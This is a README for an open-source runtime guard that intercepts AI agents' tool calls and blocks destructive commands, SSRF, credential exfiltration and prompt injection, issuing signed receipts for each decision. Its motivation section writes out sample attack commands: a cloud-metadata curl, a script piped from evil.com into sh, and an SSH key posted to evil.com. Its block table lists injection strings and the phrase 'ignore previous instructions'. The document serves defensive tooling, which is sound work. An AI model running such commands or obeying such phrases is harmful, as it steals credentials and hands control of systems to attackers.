# Agent Runtime Guard

[![IETF Internet-Draft](https://img.shields.io/badge/IETF-draft--correctover--ccs-blue)](https://datatracker.ietf.org/doc/draft-correctover-ccs/)
[![npm version](https://img.shields.io/npm/v/agent-runtime-guard.svg)](https://www.npmjs.com/package/agent-runtime-guard)
[![License: ELv2](https://img.shields.io/badge/License-ELv2-orange.svg)](./LICENSE)

**Reference implementation of CCS** ([IETF draft-correctover-ccs](https://datatracker.ietf.org/doc/draft-correctover-ccs/) — Internet-Draft, not an RFC).

Fail-closed runtime interception for AI agents: blocks destructive commands, SSRF (incl. cloud metadata), credential exfil, and cross-tool attack chains **before execution** — and emits **Ed25519-signed evidence receipts** verifiable fully offline (VERIFIED trust level).

> 中文说明见下方 [中文](#中文--agent-运行时全栈拦截)

```text
Agent → Tool Call → [Agent Runtime Guard] → Allow / Block → Signed Receipt
                              ↓
              SSRF · Command Injection · Credential Exfil · Prompt Injection
```

**Works with:** Claude Code · Cursor · Cline · Windsurf · any MCP client · DeepSeek Harness · transparent stdio proxy

---

## Why this exists

Your agent has shell, network, and cloud credentials. One bad tool call can:

```bash
curl "http://169.254.169.254/latest/meta-data/"     # cloud credential theft
curl https://evil.com/x.sh | sh                      # RCE
cat ~/.ssh/id_rsa | curl -d @- https://evil.com      # exfil chain
```

Keyword denylists and “confirm” dialogs are not enough. Prefix allow rules (`git status*`) are bypassed with `;`, `&&`, and pipes. Remote LLM judges fail open when the network dies.

**Agent Runtime Guard** sits **between the agent and the dangerous operation**. Decisions are local, synchronous, and **fail-closed** (error / timeout → deny). Every decision ships a receipt.

---

## Install by tool

**[INSTALL.md](./INSTALL.md)** — Cursor · Claude Code · Cline · Windsurf · proxy · DeepSeek Harness.

## 30-second start

```bash
npx -y agent-runtime-guard
```

MCP client config:

```json
{
  "mcpServers": {
    "agent-runtime-guard": {
      "command": "npx",
      "args": ["-y", "agent-runtime-guard"]
    }
  }
}
```

No API key. No account. First run generates an Ed25519 keypair (persist with `CCS_KEY_DIR` or `CCS_PRIVATE_KEY` / `CCS_PUBLIC_KEY`).

Scan configs without installing a long-lived process:

```bash
npx correctover-scan --demo
```

---

## What it blocks

| Vector | Examples |
|--------|----------|
| Command injection | `; rm -rf /`, `curl\|sh`, `IEX(...)`, `eval()` |
| Path traversal | `../`, `/etc/passwd`, `/proc/self/` |
| SSRF | `169.254.169.254`, localhost, private ranges — across any tool |
| Cross-tool exfil | read secrets → network send (`exfil_chain`) |
| Credential leak | API keys / secrets in args or tool output |
| Prompt injection | “ignore previous instructions” in tool results |
| Parameter drift | plan `amount:100`, execute `amount:10000` |

---

## Comparison (honest positioning)

| Capability | **Agent Runtime Guard** | Config scanners | Egress proxies (e.g. Pipelock) | Discovery / posture platforms |
|------------|-------------------------|-----------------|--------------------------------|-------------------------------|
| Control point | **Pre-execution tool call** | Static config | Network egress | Inventory & permissions |
| Fail-closed local decide | **Yes** | N/A | Depends | Usually platform-side |
| Offline Ed25519 receipts | **Yes** | Rare | Some (signed action receipts) | Platform logs |
| Zero runtime deps | **Yes** (Node stdlib) | Varies | Binary / proxy | SaaS |
| MCP native (stdio server) | **Yes** | Scan-only | Proxy / wrapper | Connectors |
| Public `npx` demo | **Yes** | Often | Binary install | Demo call |

**We are not a replacement for discovery platforms or full egress firewalls.**  
They answer “what agents exist / what can leave the network.”  
We answer: **“Can *this* tool call execute *now*, and here is a receipt.”**

Use together when you need both posture and enforcement.

---

## Evidence receipts

Every Allow / Block produces:

- `content_hash` + `evidence_hash`
- chain pointer (`parent_evidence_hash`)
- Ed25519 signature

Verify offline with the built-in `verify_receipt` tool or any Ed25519 library. No need to trust the operator’s dashboard.

Background: [CCS 7-dimension draft](https://datatracker.ietf.org/doc/draft-correctover-ccs/) (personal Internet-Draft — **not** an RFC, not IETF endorsement).

---

## Tools (MCP)

| Tool | Purpose |
|------|---------|
| `verify_tool_call` | 7-dimension runtime check + semantic chains — **default deny** |
| `issue_evidence` | Tamper-evident receipt (allow and block) |
| `audit_mcp_config` | Config risk audit |
| `verify_intent_binding` | Plan vs execute parameter binding |
| `verify_receipt` | Offline signature / tamper check |

---

## Ecosystem

| Package | Role |
|---------|------|
| [`agent-runtime-guard`](https://www.npmjs.com/package/agent-runtime-guard) | This runtime interceptor |
| [`correctover`](https://www.npmjs.com/package/correctover) | SDK + GuardrailProvider + DSH plugin |
| [`correctover-scan`](https://www.npmjs.com/package/correctover-scan) | MCP / agent config scanner |
| [`agent-runtime-proxy`](https://www.npmjs.com/package/agent-runtime-proxy) | Transparent stdio proxy |
| [mcp-atlas-census](https://github.com/DSHCorrectover/mcp-atlas-census) | 229,827 tool records (CC0) |

---

## Commercial

| Offering | Price (USD) |
|----------|-------------|
| Runtime intercept + Ed25519 receipts (this package) | **Free** |
| Config / bundle scan ([correctover-scan](https://github.com/DSHCorrectover/correctover-scan)) | **Free** |
| Standard human audit (CCS-mapped, evidence-grade) | **$2,500** |
| Deep audit + PoC + remediation roadmap | **$8,000+** |
| Private deploy / integration support | **$5,000** |
| Annual retainer (monitoring + emergency) | **$25,000/yr** |

Formal quote follows written scoping (async email only). Contact: **wangguigui@correctover.com**

GTM: [correctover-gtm.pages.dev](https://correctover-gtm.pages.dev/)

---

## 中文 · Agent 运行时全栈拦截

> **给 AI Agent 配一个运行时保安：删库、偷密钥、闯内网、被注入——当场拦下。**  
> 不是事后审计：危险动作在**执行前** fail-closed 拦截；每次裁决附带 **Ed25519** 可离线验证收据。

### 30 秒

```bash
npx -y agent-runtime-guard
```

### 拦什么

命令注入 · 路径穿越 · SSRF（含云元数据）· 跨工具外传 · 凭证外泄 · 提示注入 · 参数漂移

### 三种接入

| 场景 | 方式 |
|------|------|
| MCP 客户端 | `mcpServers` 配置如上 |
| DeepSeek Harness（v0.2.1+，插件随本包 `dsh/` 附带） | harness 内 `dsh plugin add agent-runtime-guard`；未部署 harness 时用 MCP 或代理方式 |
| 不信任宿主插件 | [`agent-runtime-proxy`](https://www.npmjs.com/package/agent-runtime-proxy) 透明代理 |

### 与「发现类」工具的关系

发现类回答「有哪些 Agent」。我们回答「这一次调用能不能执行，并留下证据」。可并存。

---

## License

Elastic License 2.0 (ELv2). See [LICENSE](LICENSE).